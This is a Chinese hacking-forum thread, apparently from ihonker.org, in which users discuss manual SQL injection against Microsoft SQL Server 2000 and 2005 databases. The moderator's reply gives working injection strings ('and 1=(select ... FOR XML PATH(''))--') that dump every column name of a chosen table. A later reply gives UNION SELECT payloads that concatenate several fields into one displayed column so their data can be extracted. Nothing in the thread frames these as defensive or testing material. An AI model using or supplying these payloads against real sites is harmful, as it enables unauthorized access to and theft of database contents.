查看: 3634|回复: 5

关于手工注入MSSQL,联合查询的问题?

[复制链接]
发表于 2015-11-28 09:36:38 | 显示全部楼层 |阅读模式
MSSQL2000 数据库,在手工注入时,用联合查询,如何将多个字段组合成一列返回到1个显示位上面?
回复

使用道具 举报

发表于 2015-11-28 12:29:58 | 显示全部楼层
坐等大神回复,正好我也学习下
回复 支持 反对

使用道具 举报

发表于 2015-11-28 13:40:57 | 显示全部楼层
and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--

一次爆指定表的所有列(只限于mssql2005及以上版本):

点评

哈哈,非常感谢版主的指导,但是这个只用于2005,不知道2000有没有什么方法?  详情 回复 发表于 2015-11-30 18:20
回复 支持 反对

使用道具 举报

发表于 2015-11-29 13:37:31 | 显示全部楼层
坐等大神回复,正好我也学习下
回复 支持 反对

使用道具 举报

 楼主| 发表于 2015-11-30 18:20:21 | 显示全部楼层
wuyan 发表于 2015-11-28 13:40
and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjec ...

哈哈,非常感谢版主的指导,但是这个只用于2005,不知道2000有没有什么方法?

点评

2000的暂时不太清楚  详情 回复 发表于 2015-12-1 15:07
回复 支持 反对

使用道具 举报

发表于 2015-12-1 15:07:38 | 显示全部楼层
lyfzxz 发表于 2015-11-30 18:20
哈哈,非常感谢版主的指导,但是这个只用于2005,不知道2000有没有什么方法? ...

2000的暂时不太清楚
回复 支持 反对

使用道具 举报

发表于 4 天前 | 显示全部楼层

Re: 关于手工注入MSSQL,联合查询的问题?

在 MSSQL 2000 中,可以通过字符串拼接将多个字段合并成一个列来适应单个显示位。示例语法如下: ``` ' UNION SELECT NULL,字段A + '|' + 字段B + '|' + 字段C FROM 表名 WHERE ... ``` 注意: - 非字符串类型的字段(如 int、datetime)需要先用 `CONVERT` 或 `CAST` 转换为字符串,例如 `CONVERT(varchar, 字段)`。 - 拼接时建议加入分隔符(如 `'|'`),方便在结果中区分各字段的值。 - 确保 `UNION SELECT` 前后的列数一致,前面用 `NULL` 占位以匹配显示位顺序。 如果某个字段可能为 NULL,需用 `ISNULL` 或 `COALESCE` 处理,避免整个拼接结果变成 NULL: ``` ' UNION SELECT NULL, ISNULL(字段A,'') + '|' + ISNULL(CONVERT(varchar,字段B),'') FROM 表名 ``` 这样就能把多个字段的值合并到一列中显示出来。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-5-24 14:06 , Processed in 0.027678 second(s), 20 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部